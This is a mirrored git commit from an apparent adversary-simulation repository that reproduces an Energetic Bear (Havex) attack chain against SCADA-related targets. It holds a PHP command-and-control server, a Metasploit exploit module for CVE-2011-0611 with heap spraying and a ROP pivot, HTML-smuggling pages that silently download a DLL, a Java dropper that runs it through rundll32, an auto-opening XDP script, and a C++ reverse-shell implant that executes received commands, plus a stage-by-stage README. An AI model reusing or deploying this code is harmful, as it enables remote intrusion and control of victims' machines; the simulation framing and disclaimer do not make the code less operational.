mirror of
https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git
synced 2026-08-04 09:41:40 +02:00
Add files via upload
This commit is contained in:
S3N4T0R
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
// This PHP C2 server script enable to make remote communication by utilizes XOR encryption for secure data transmission between the attacker server and the target, if you chose (command or URL) is encrypted using XOR encryption with a user-defined key before being sent to the target.
|
||||
|
||||
// This C2 is for simulation only and is still under development
|
||||
// php C2-Server.php
|
||||
// Author: S3N4T0R
|
||||
// Date: 2024-5-8
|
||||
|
||||
// Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences.
|
||||
|
||||
// decrypt data using XOR
|
||||
function xor_encrypt($data, $key) {
|
||||
$output = '';
|
||||
for ($i = 0; $i < strlen($data); ++$i) {
|
||||
$output .= $data[$i] ^ $key[$i % strlen($key)];
|
||||
}
|
||||
return $output;
|
||||
}
|
||||
|
||||
// send encrypted output to the payload
|
||||
function send_to_payload($socket, $data, $encryption_key) {
|
||||
$encrypted_data = xor_encrypt($data, $encryption_key);
|
||||
socket_write($socket, $encrypted_data, strlen($encrypted_data));
|
||||
}
|
||||
|
||||
// encrypted commands from the payload
|
||||
function receive_from_payload($socket, $buffer_size, $encryption_key) {
|
||||
$encrypted_data = socket_read($socket, $buffer_size);
|
||||
return xor_encrypt($encrypted_data, $encryption_key);
|
||||
}
|
||||
|
||||
|
||||
echo "\033[0;32m";
|
||||
echo <<<BANNER
|
||||
|
||||
############################################################################################
|
||||
# 1.Set up a web server or any HTTP server that can serve text content. #
|
||||
# 2.Upload a text file containing the commands you want the compromised system to execute. #
|
||||
# 3.Make sure the text file is accessible via HTTP and note down the URL. #
|
||||
# 4.When prompted by the script, enter the URL you obtained in step. #
|
||||
# NOTE: If you choose to fetch commands from a URL, it will prompt you to enter the URL. #
|
||||
# If you choose to enter commands directly, it will prompt you to Enter a command to execute#
|
||||
###########################################################################################
|
||||
|
||||
BANNER;
|
||||
echo "\033[0m\n";
|
||||
|
||||
|
||||
$attacker_ip = readline("[*] Enter your IP: ");
|
||||
$c2_port = readline("[*] Enter C2 server port: ");
|
||||
$encryption_key = readline("[*] Enter XOR encryption key: ");
|
||||
|
||||
|
||||
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if ($socket === false) {
|
||||
echo "Socket creation failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
if (!socket_bind($socket, $attacker_ip, $c2_port)) {
|
||||
echo "Socket bind failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
if (!socket_listen($socket, 5)) {
|
||||
echo "Socket listen failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
echo "[*] Waiting for incoming connection...\n";
|
||||
|
||||
// Accept incoming connection
|
||||
$client_socket = socket_accept($socket);
|
||||
if ($client_socket === false) {
|
||||
echo "Socket accept failed: " . socket_strerror(socket_last_error()) . "\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Main loop for fetching and executing commands
|
||||
while (true) {
|
||||
// Prompt the user to choose the method of command input
|
||||
$input_method = strtolower(readline("[*] Choose command input method (url/command): "));
|
||||
if ($input_method === 'url') {
|
||||
// Fetch commands from URL
|
||||
$command_url = readline("[*] Enter command URL: ");
|
||||
$command_encrypted = fetch_commands($command_url);
|
||||
if ($command_encrypted === false) {
|
||||
echo "Error fetching commands from $command_url.\n";
|
||||
continue;
|
||||
}
|
||||
send_to_payload($client_socket, $command_encrypted, $encryption_key);
|
||||
} elseif ($input_method === 'command') {
|
||||
// Get command directly from user
|
||||
$command = readline("[*] Enter command to execute: ");
|
||||
send_to_payload($client_socket, $command, $encryption_key);
|
||||
} else {
|
||||
echo "Invalid input method. Please choose 'url' or 'command'.\n";
|
||||
continue;
|
||||
}
|
||||
|
||||
// receive output from payload
|
||||
$output_encrypted = receive_from_payload($client_socket, 4096, $encryption_key);
|
||||
|
||||
// decrypt output
|
||||
$output = xor_encrypt($output_encrypted, $encryption_key);
|
||||
|
||||
|
||||
echo "[*] Command Output:\n$output\n";
|
||||
|
||||
// Wait for a period before fetching new commands
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
// Close sockets
|
||||
socket_close($client_socket);
|
||||
socket_close($socket);
|
||||
|
||||
?>
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
// javac CopyDLL.java
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class CopyDLL {
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
// Check if a file name is provided as a command-line argument
|
||||
if (args.length == 0) {
|
||||
System.out.println("Usage: java CopyDLL <file_name>");
|
||||
return;
|
||||
}
|
||||
|
||||
// Construct the command to copy the file to %TEMP% as payload.dll
|
||||
String command = "cmd /c copy payload.dll %TEMP%\\payload.dll /y & rundll32.exe %TEMP%\\payload.dll,RunDllEntry";
|
||||
|
||||
// Execute the command
|
||||
Process process = Runtime.getRuntime().exec(command);
|
||||
|
||||
// Wait for the process to finish
|
||||
process.waitFor();
|
||||
|
||||
// Print success message
|
||||
System.out.println("Command executed successfully.");
|
||||
} catch (IOException | InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,213 @@
|
||||
# this Modified version of the exploit CVE-2011-0611 based on Windows 10
|
||||
# the original exploit from : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
|
||||
|
||||
# Author : S3N4T0R
|
||||
# sudo cp EnergeticBear_exploit.rb /usr/share/metasploit-framework/modules/exploits
|
||||
# sudo updatedb
|
||||
# msf6 > search EnergeticBear_exploit
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability",
|
||||
'Description' => %q{
|
||||
This module exploits a memory corruption vulnerability (CVE-2011-0611) in Adobe Flash Player
|
||||
versions 10.2.153.1 and earlier. The vulnerability allows for arbitrary code execution by
|
||||
exploiting a flaw in how Adobe Flash Player handles certain crafted .swf files. By leveraging
|
||||
this vulnerability, an attacker can execute arbitrary code on the victim's system.
|
||||
},
|
||||
'License' => ,
|
||||
'Author' =>
|
||||
[
|
||||
'S3N4T0R',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-0611' ],
|
||||
[ 'OSVDB', '71686' ],
|
||||
[ 'BID', '47314' ],
|
||||
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-07.html' ],
|
||||
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2011/04/12/analysis-of-the-cve-2011-0611-adobe-flash-player-vulnerability-exploitation.aspx' ],
|
||||
[ 'URL', 'http://contagiodump.blogspot.com/2011/04/apr-8-cve-2011-0611-flash-player-zero.html' ],
|
||||
[ 'URL', 'http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html' ],
|
||||
[ 'URL', 'http://web.archive.org/web/20110417154057/http://secunia.com:80/blog/210/' ],
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "process",
|
||||
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'IE 10 on Windows 10',
|
||||
{
|
||||
'Rop' => true,
|
||||
'Pivot' => 0x7c348b05, # Example ROP gadget address
|
||||
'Offset1' => '0x5E2', # Example offset
|
||||
'Offset2' => '0x02', # Example offset
|
||||
'Max1' => '0x150', # Example spray size
|
||||
'Max2' => '0x200' # Example spray size
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2011-04-11',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
|
||||
], self.class
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2011-0611.swf")
|
||||
f = File.open(path, "rb")
|
||||
@trigger = f.read(f.stat.size)
|
||||
f.close
|
||||
super
|
||||
end
|
||||
|
||||
def get_target(request)
|
||||
agent = request.headers['User-Agent']
|
||||
|
||||
if agent =~ /Windows NT 10\.0/ and agent =~ /MSIE 10\.0/
|
||||
# Windows 10 with IE 10
|
||||
return targets[1]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
#Set default target
|
||||
my_target = target
|
||||
|
||||
#If user chooses automatic target, we choose one based on user agent
|
||||
if my_target.name =~ /Automatic/
|
||||
my_target = get_target(request)
|
||||
if my_target.nil?
|
||||
print_error("Sending 404 for unknown user-agent")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
vprint_status("Target selected: #{my_target.name}")
|
||||
end
|
||||
|
||||
vprint_status("URL: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
#Browser requests our trigger file, why not
|
||||
print_status("Sending trigger SWF...")
|
||||
send_response(cli, @trigger, {'Content-Type'=>'application/x-shockwave-flash'} )
|
||||
return
|
||||
end
|
||||
|
||||
#Targets that don't need ROP
|
||||
pivot = "\xb8\x0c\x0c\x0c\x0c" #MOV EAX,0x0c0c0c0c
|
||||
pivot << "\xff\xe0" #JMP EAX
|
||||
pivot << "\x41" #Pad
|
||||
|
||||
#Targets that need ROP
|
||||
if my_target['Rop']
|
||||
#Target Addr=0x11111110
|
||||
pivot =
|
||||
[
|
||||
0x0c0c0c0c, # Padding. Value for ESP after the XCHG pivot
|
||||
my_target['Pivot'], # ROP Pivot
|
||||
0x7c346b52, # EAX (POP ESP; RETN)
|
||||
].pack('V*')
|
||||
|
||||
#Target Addr=0x0c0c0c0c
|
||||
p = generate_rop_payload('java', payload.encoded)
|
||||
else
|
||||
p = payload.encoded
|
||||
end
|
||||
|
||||
arch = Rex::Arch.endian(my_target.arch)
|
||||
|
||||
shellcode = Rex::Text.to_unescape(p, arch)
|
||||
pivot = Rex::Text.to_unescape(pivot, arch)
|
||||
|
||||
#Extract string based on target
|
||||
if my_target.name == 'IE 10 on Windows 10'
|
||||
js_extract_str = "var block = shellcode.substring(0, (0x7ff00-6)/2);"
|
||||
else
|
||||
js_extract_str = "var block = shellcode.substring(0, (0x80000-6)/2);"
|
||||
end
|
||||
|
||||
randnop = rand_text_alpha(rand(100) + 1)
|
||||
js_nops = Rex::Text.to_unescape("\x0c"*4)
|
||||
|
||||
js = <<-JS
|
||||
function heap_spray(heaplib, nops, code, offset, max) {
|
||||
while (nops.length < 0x2000) nops += nops;
|
||||
var offset = nops.substring(0, offset);
|
||||
var shellcode = offset + code + nops.substring(0, 0x2000-code.length-offset.length);
|
||||
while (shellcode.length < 0x40000) shellcode += shellcode;
|
||||
#{js_extract_str}
|
||||
heaplib.gc();
|
||||
for (var i=1; i<max; i++) {
|
||||
heaplib.alloc(block);
|
||||
}
|
||||
}
|
||||
|
||||
var heap_obj = new heapLib.ie(0x20000);
|
||||
var #{randnop} = "#{js_nops}";
|
||||
var nops = unescape(#{randnop});
|
||||
var code = unescape("#{shellcode}");
|
||||
heap_spray(heap_obj, nops, code, #{my_target['Offset1']}, #{my_target['Max1']});
|
||||
var fake_pointers = unescape("#{pivot}");
|
||||
heap_spray(heap_obj, fake_pointers, fake_pointers, #{my_target['Offset2']}, #{my_target['Max2']});
|
||||
JS
|
||||
|
||||
js = heaplib(js, {:noobfu => true} )
|
||||
|
||||
#Javascript obfuscation is optional
|
||||
if datastore['OBFUSCATE']
|
||||
js = ::Rex::Exploitation::JSObfu.new(js)
|
||||
js.obfuscate(memory_sensitive: true)
|
||||
end
|
||||
|
||||
trigger_file_name = "#{get_resource}/#{rand_text_alpha(rand(3))}.swf"
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="0" height="0"
|
||||
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
|
||||
<param name="movie" value="#{trigger_file_name}" />
|
||||
<embed src="#{trigger_file_name}" quality="high" type="application/x-shockwave-flash"
|
||||
pluginspage="http://www.macromedia.com/go/getflashplayer">
|
||||
</embed>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
html = html.gsub(/^ {4}/, "")
|
||||
|
||||
print_status("Sending HTML to...")
|
||||
send_response(cli, html, {'Content-Type' => "text/html"} )
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
function base64ToArrayBuffer(base64) {
|
||||
var binary_string = window.atob(base64);
|
||||
var len = binary_string.length;
|
||||
var bytes = new Uint8Array(len);
|
||||
for (var i = 0; i < len; i++) {
|
||||
bytes[i] = binary_string.charCodeAt(i);
|
||||
}
|
||||
return bytes.buffer;
|
||||
}
|
||||
|
||||
var file = 'Your base64 string here';
|
||||
var data = base64ToArrayBuffer(file);
|
||||
var blob = new Blob([data], {type: 'octet/stream'});
|
||||
var fileName = 'payload.dll';
|
||||
var a = document.createElement('a');
|
||||
document.body.appendChild(a);
|
||||
a.style = 'display: none;';
|
||||
var url = window.URL.createObjectURL(blob);
|
||||
a.href = url;
|
||||
a.download = fileName;
|
||||
a.click();
|
||||
window.URL.revokeObjectURL(url);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
function base64ToArrayBuffer(base64) {
|
||||
var binary_string = window.atob(base64);
|
||||
var len = binary_string.length;
|
||||
var bytes = new Uint8Array(len);
|
||||
for (var i = 0; i < len; i++) {
|
||||
bytes[i] = binary_string.charCodeAt(i);
|
||||
}
|
||||
return bytes.buffer;
|
||||
}
|
||||
|
||||
var file = 'Your base64 string here';
|
||||
var data = base64ToArrayBuffer(file);
|
||||
var blob = new Blob([data], {type: 'octet/stream'});
|
||||
var fileName = 'CopyDLL.class';
|
||||
var a = document.createElement('a');
|
||||
document.body.appendChild(a);
|
||||
a.style = 'display: none;';
|
||||
var url = window.URL.createObjectURL(blob);
|
||||
a.href = url;
|
||||
a.download = fileName;
|
||||
a.click();
|
||||
window.URL.revokeObjectURL(url);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,14 @@
|
||||
<script>
|
||||
//This XDP file contains a malicious XML Data Package (XDP) with a SWF exploit (CVE-2011-0611).
|
||||
//It also includes functionality to download additional files via HTML-Smuggling by apache host.
|
||||
|
||||
// Automatically open the URLs when the document is opened
|
||||
window.onload = function() {
|
||||
var url1 = 'http://192.168.1.8:8080/YM3N5Z'; // CVE-2011-0611
|
||||
var url2 = 'http://your_apache_host'; // HTML Smuggling
|
||||
|
||||
// Open each URL in a new tab or window
|
||||
window.open(url1, '_blank');
|
||||
window.open(url2, '_blank');
|
||||
};
|
||||
</script>
|
||||
@@ -0,0 +1,202 @@
|
||||
# Energetic Bear APT Adversary Simulation
|
||||
This is a simulation of attack by (Energetic Bear) APT group targeting “eWon” is a Belgian producer of SCADA and industrial network equipmen,
|
||||
the attack campaign was active from January 2014,The attack chain starts with malicious XDP file containing the PDF/SWF exploit (CVE-2011-0611)
|
||||
and was used in spear-phishing attack. This exploit drops the loader DLL which is stored in an encrypted form in the XDP file,
|
||||
The exploit is delivered as an XDP (XML Data Package) file which is actually a PDF file packaged within an XML container.
|
||||
I relied on Kaspersky tofigure out the details to make this simulation:
|
||||
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080817/EB-YetiJuly2014-Public.pdf
|
||||
|
||||
|
||||
|
||||
This attack included several stages including exploitation of the (CVE-2011-0611) vulnerability which allows attackers to overwrite a pointer in memory by embedding a specially crafted .swf, The XDP file contains a SWF exploit CVE-2011-0611 and two files encrypted with XOR stored in the XDP file One of the files is malicious DLL the other is a JAR file which is used to copy and run the DLL by executing the Cmd command line
|
||||
|
||||
1. CVE-2011-0611: this module exploits a memory corruption vulnerability in Adobe Flash Player versions 10.2.153.1 and earlier, i maked Modified version of the exploit based on Windows 10.
|
||||
|
||||
|
||||
|
||||
|
||||
2. CVE-2012-1723: this exploit allows for sandbox escape and remote code execution on any target with a vulnerable JRE (Java IE 8).
|
||||
|
||||
|
||||
|
||||
3. XDP file: this XDP file contains a malicious XML Data Package (XDP) with a SWF exploit (CVE-2011-0611), It also includes functionality to download additional files via HTML-Smuggling by apache host.
|
||||
|
||||
|
||||
4. HTML Smuggling: the html-smuggling file is used after uploading it to the apache server to download other files, One of the files is DLL payload the other is a small JAR file.
|
||||
|
||||
5. JAR file: this jar file used to copy and run the DLL by executing the cmd command.
|
||||
|
||||
|
||||
|
||||
6. DLL payload: the attackers used havex trojan, havex scanned the infected system to locate any supervisory control and data acquisition SCADA.
|
||||
|
||||
|
||||
|
||||
7. Encrypted with XOR: the XDP file contains a SWF exploit and two files encrypted with XOR.
|
||||
|
||||
|
||||
8. PHP backend C2-Server: the attckers used hacked websites as simple PHP C2 Server backend.
|
||||
|
||||
|
||||
9. Final result: make remote communication by utilizes XOR encryption for secure data transmission between the attacker server and the target.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## The first stage (exploit Adobe SWF Memory Corruption Vulnerability CVE-2011-0611)
|
||||
|
||||
This module exploits a memory corruption vulnerability (CVE-2011-0611) in Adobe Flash Player
|
||||
versions 10.2.153.1 and earlier. The vulnerability allows for arbitrary code execution by
|
||||
exploiting a flaw in how Adobe Flash Player handles certain crafted .swf files. By leveraging
|
||||
this vulnerability, an attacker can execute arbitrary code on the victim's system.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
`sudo cp EnergeticBear_exploit.rb /usr/share/metasploit-framework/modules/exploits`
|
||||
|
||||
`sudo updatedb`
|
||||
|
||||
`msf6 > search EnergeticBear_exploit`
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This Modified version of the exploit CVE-2011-0611 based on Windows 10 ,the original exploit from : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb
|
||||
|
||||
## The Second stage (CVE-2012-1723 Oracle Java Applet Field Bytecode Verifier Cache RCE)
|
||||
|
||||
This vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Hotspot. if you need know more about CVE-2012-1723: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Java/CVE-2012-1723!generic&threatId=-2147302241
|
||||
|
||||
|
||||
|
||||
`use exploit/multi/browser/java_verifier_field_access`
|
||||
|
||||
The attackers actively compromises legitimate websites for watering hole attacks. These hacked
|
||||
websites in turn redirect victims to malicious JAR or HTML files hosted on other sites maintained
|
||||
by the group (exploiting CVE-2013-2465, CVE-2013-1347, and CVE-2012-1723 in Java 6, Java 7,
|
||||
IE 7 and IE 8), These hacked websites will be using a simple PHP C2 Server backend.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## The third stage (XML Data Package XDP with a SWF exploit)
|
||||
|
||||
The exploit is delivered as an XDP (XML Data Package) file which is actually a PDF file packaged within an XML container. This is a known the PDF obfuscation method and serves as an additional anti-detection layer.
|
||||
if you need know more about XDP file: https://filext.com/file-extension/XDP
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
The XDP file contains a SWF exploit (CVE-2011-0611) and two files (encrypted with XOR) stored in the PDF file, It also includes functionality to download additional files via HTML-Smuggling by apache host.
|
||||
|
||||
## The fourth stage (HTML-Smuggling with DLL payload & JAR file)
|
||||
|
||||
The HTML smuggling file is used after uploading it to the apache server to download other files, One of the files is DLL payload the other is a small JAR file which is used to copy and run the DLL, the command line to make payload base64 to then put it in the HTML smuggling file: `base64 payload.dll -w 0` and the same command but with jar file.
|
||||
|
||||
|
||||
|
||||
|
||||
## The fifth stage (Copy DLL by JAR file)
|
||||
|
||||
This jar file used to copy and run the DLL by executing the following command:
|
||||
`cmd /c copy payload.dll %TEMP%\\payload.dll /y & rundll32.exe %TEMP%\\payload.dll,RunDllEntry`
|
||||
|
||||
It constructs a command to copy a file named payload.dll to the %TEMP% directory (typically the temporary directory) as payload.dll and then execute it using rundll32.exe and it waits for the process to finish using process.waitFor().
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## The sixth stage DLL payload (Havex trojan)
|
||||
|
||||
The attackers gained access to eWon’s FTP site and replaced the legitimate file with one that is bound with the Havex dropper several times.
|
||||
|
||||
The main functionality of this component is to download and load additional DLL modules into the
|
||||
memory. These are stored on compromised websites that act as C&C servers. In order to do that, the
|
||||
malware injects itself into the EXPLORER.EXE process, sends a GET/POST request to the PHP script
|
||||
on the compromised website, then reads the HTML document returned by the script, looking for a
|
||||
base64 encrypted data between the two “havex” strings in the comment tag `<!--havexhavex-->`
|
||||
and writes this data to a %TEMP%\<tmp>.xmd file (the filename is generated by GetTempFilename
|
||||
function).
|
||||
|
||||
|
||||
Full Disclosure of Havex Trojans: https://www.netresec.com/?page=Blog&month=2014-10&post=Full-Disclosure-of-Havex-Trojans
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
If you need know more about Havex trojan: https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat
|
||||
|
||||
Notes on havex trojan: http://pastebin.com/qCdMwtZ6
|
||||
|
||||
|
||||
In this simulation i used a simple payload with XOR encryption to secure the connection between the C2 Server and the Target Machine,
|
||||
this payload uses Winsock for establishing a tcp connection between the target machine and the attacker machine, in an infinite loop the payload receives commands from the attacker c2 decrypts them using (XOR) encryption executes them using system and then sleeps for 10 seconds before repeating the loop.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This network forensics form (SCADA hacker) about havex trojan: https://scadahacker.com/library/Documents/Cyber_Events/NETRESEC%20-%20SCADA%20Network%20Forensics.pdf
|
||||
|
||||
## The seventh stage (encrypted XDP with XOR)
|
||||
|
||||
After making compile for the payload and jar file and make base64 for the jar file and DLL payload, i put them in the html smuggling file, then i make host for the html file, then i put this host in the XDP file next to CVE-2011-0611, then i make XOR encryption for XDP file, after this convert xdp to pdf.
|
||||
|
||||
|
||||
|
||||
i used browserling to make xor encrypt: https://www.browserling.com/tools/xor-encrypt
|
||||
|
||||
## The eighth stage (PHP backend C2-Server)
|
||||
|
||||
This PHP C2 server script enable to make remote communication by utilizes XOR encryption for secure data transmission between the attacker server and the target.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
`xor_encrypt($data, $key)` This function takes two parameters: the data to be encrypted ($data) and the encryption key ($key) it iterates over each character in the data and performs an XOR operation between the character and the corresponding character in the key (using modulo to repeat the key if it's shorter than the data), the result is concatenated to form the encrypted output which is returned.
|
||||
|
||||
|
||||
`send_to_payload($socket, $data, $encryption_key)` This function sends encrypted data to the target system (payload) over a socket connection it first encrypts the data using the xor_encrypt function with the provided encryption key then it writes the encrypted data to the socket using socket_write.
|
||||
|
||||
|
||||
`receive_from_payload($socket, $buffer_size, $encryption_key)` This function receives encrypted data from the target system over a socket connection it reads data from the socket with a maximum buffer size specified by $buffer_size, the received encrypted data is then decrypted using the xor_encrypt function with the provided encryption key before being returned.
|
||||
|
||||
if you chose (command or URL) is encrypted using XOR encryption with a user-defined key before being sent to the target.
|
||||
|
||||
|
||||
|
||||
This other simulation for the same attack by cobaltstrike: https://www.youtube.com/watch?v=XkBvo6z0Tqo
|
||||
|
||||
## Final result: payload connect to PHP C2-server
|
||||
|
||||
1.Set up a web server or any HTTP server that can serve text content.
|
||||
|
||||
2.Upload a text file containing the commands you want the compromised system to execute.
|
||||
|
||||
3.Make sure the text file is accessible via HTTP and note down the URL.
|
||||
|
||||
4.When prompted by the script, enter the URL you obtained in step.
|
||||
|
||||
NOTE: If you choose to fetch commands from a URL it will prompt you to enter the URL, If you choose to enter commands directly it will prompt you to Enter a command to execute
|
||||
|
||||
|
||||
|
||||
|
||||
https://github.com/S3N4T0R-0X0/EnergeticBear-APT/assets/121706460/27186732-723b-4b6c-b233-0da479ea5b7a
|
||||
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
//this payload uses reverse TCP connection to an attacker ip address and listens for commands to execute on the target machine,
|
||||
//this payload uses Winsock for establishing a tcp connection between the target machine and the attacker machine.
|
||||
//in an infinite loop, the payload receives commands from the attacker c2 , decrypts them using (XOR)encryption, executes them using system, and then sleeps for 10 seconds before repeating the loop.
|
||||
|
||||
//manual compile: x86_64-w64-mingw32-g++ -o payload.dll payload.cpp -lws2_32 -static-libgcc -static-libstdc++
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <cstring>
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
|
||||
// XOR encryption
|
||||
std::string xorEncrypt(const std::string& data, const std::string& key) {
|
||||
std::string encrypted;
|
||||
for (size_t i = 0; i < data.size(); ++i) {
|
||||
encrypted += data[i] ^ key[i % key.size()];
|
||||
}
|
||||
return encrypted;
|
||||
}
|
||||
|
||||
int main() {
|
||||
std::string attackerIP = "192.168.1.1"; // replace with your iP address
|
||||
int port = 4444; // replace with your port
|
||||
std::string encryptionKey = "123456789"; // replace with XOR encryption key
|
||||
|
||||
// initialize Winsock
|
||||
WSADATA wsData;
|
||||
WORD version = MAKEWORD(2, 2);
|
||||
if (WSAStartup(version, &wsData) != 0) {
|
||||
std::cerr << "Error initializing Winsock.\n";
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
SOCKET sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sockfd == INVALID_SOCKET) {
|
||||
std::cerr << "Socket creation failed.\n";
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
sockaddr_in serverAddr;
|
||||
serverAddr.sin_family = AF_INET;
|
||||
serverAddr.sin_port = htons(port);
|
||||
inet_pton(AF_INET, attackerIP.c_str(), &serverAddr.sin_addr);
|
||||
|
||||
|
||||
if (connect(sockfd, (sockaddr*)&serverAddr, sizeof(serverAddr)) != 0) {
|
||||
std::cerr << "Connection failed.\n";
|
||||
closesocket(sockfd);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
while (true) {
|
||||
std::string commands;
|
||||
char buffer[4096];
|
||||
int bytesReceived = recv(sockfd, buffer, sizeof(buffer), 0);
|
||||
if (bytesReceived > 0) {
|
||||
buffer[bytesReceived] = '\0';
|
||||
commands = buffer;
|
||||
}
|
||||
|
||||
std::string decryptedCommands = xorEncrypt(commands, encryptionKey);
|
||||
|
||||
|
||||
system(decryptedCommands.c_str());
|
||||
|
||||
|
||||
Sleep(10);
|
||||
}
|
||||
|
||||
closesocket(sockfd);
|
||||
WSACleanup();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user